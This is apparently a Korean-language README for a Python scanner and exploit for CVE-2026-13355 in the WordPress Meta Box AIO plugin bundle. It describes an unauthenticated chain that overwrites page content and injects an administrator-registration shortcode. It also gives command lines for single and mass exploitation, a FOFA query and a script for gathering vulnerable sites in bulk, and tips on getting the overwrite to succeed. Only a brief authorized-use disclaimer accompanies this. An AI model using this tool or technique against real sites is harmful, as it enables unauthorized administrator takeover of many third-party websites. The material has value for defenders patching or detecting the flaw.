CVE-2026-13355 — Meta Box AIO 비인증 관리자 권한 상승

Python 3 스캐너 및 익스플로잇 개념 증명(PoC)으로, WordPress 번들 Meta Box AIO(및 관련 MB Frontend Submission / MB User Profile 확장)의 CVE-2026-13355 를 대상으로 합니다.

요약

두 개의 번들 확장에 연쇄된 결함으로 인해 비인증 관리자 계정 생성이 가능합니다:

1. MB Frontend Submission (mbfs) — rwmb_frontend_field_object_id가 인증 없이 폼 대상을 재정의합니다; Form::process()가 user_can_edit()를 생략하므로, 공격자는 wp_update_post()를 호출하여 임의의 게시물/페이지의 post_content 를 덮어쓸 수 있습니다.
2. MB User Profile (mbup) — 주입된 [mb_user_profile_register role="administrator" auto_login="true"] 숏코드 속성이 역할 검증 없이 신뢰됩니다.

중요: 익스플로잇 체인은 로그인 전용 mbup 폼이 아닌 공개 mbfs(프론트엔드 제출) 폼을 필요로 합니다. 많은 FOFA 검색 결과는 mbup 로그인/등록 UI만 노출하며, 이들은 plugin_mbup_only로 표시되며 이 체인으로는 익스플로잇할 수 없습니다.

요구 사항

• Python 3.8+
• pip install -r requirements.txt

빠른 시작

pip install -r requirements.txt

# 단일 대상 — 검사 (기본적으로 라이브 터미널 흐름)
python poc.py -u https://target.example --mode check

# 대량 검사 (--quiet가 아니면 대상당 한 줄)
python poc.py --list targets.example.txt --mode check --threads 20

# 단일 대상 — 익스플로잇 (mbfs 폼 URL + 게시물 ID 필요)
python poc.py -u https://target.example --mode exploit \
  --form-url /contact/ --object-id 12 --verify

# 검사 출력에서 대량 익스플로잇
python poc.py --list candidates.jsonl --mode exploit --threads 5 --verify

FOFA → 대상 목록

예시 쿼리:

body="/wp-content/plugins/meta-box-aio/"

FOFA CSV 내보내기 정규화:

python fofa_to_list.py -i fofa_export.csv
# list.txt + 정규화된 CSV 생성 (로컬 전용, gitignore됨)
python poc.py --list list.txt --mode check --threads 20

CLI 옵션

출력 파일

익스플로잇 실행 시 --vuln-list exploited.txt 를 사용하여 hits.txt의 검사 적중이 덮어쓰이지 않도록 하십시오.

검사 status 값

익스플로잇 참고 사항

• 포이즌 단계는 ?rwmb_frontend_field_object_id=<id>와 함께 mbfs 폼을 통해 post_content를 POST합니다.
• 성공하려면 주입된 숏코드가 포이즌된 페이지에서 렌더링되어야 합니다 (strip/KSES 없음, 패치된 플러그인, 잘못된 폼 유형).
• 연락처/뉴스레터 mbfs 폼은 실제 post_content 필드가 없는 경우가 많으며, 실제로는 덮어쓰기가 실패할 수 있습니다.
• POST 시 HTTP 403은 일반적으로 WAF/호스트 차단을 나타냅니다.

저장소 구조

.
├── poc.py
├── fofa_to_list.py
├── requirements.txt
├── targets.example.txt
├── README.md
├── LICENSE
└── .gitignore

로컬 스캔 목록 및 실행 산출물(list.txt, fofa*.csv, *.jsonl, hits*.txt, …)은 .gitignore에 포함되어 있으며 커밋해서는 안 됩니다.

참고 자료

• NVD — CVE-2026-13355
• Wordfence 권고
• Meta Box AIO 변경 로그

법적 고지

승인된 보안 테스트 및 교육 목적으로만 사용하십시오. 관련 법률 및 프로그램 규칙을 준수할 책임은 사용자에게 있습니다.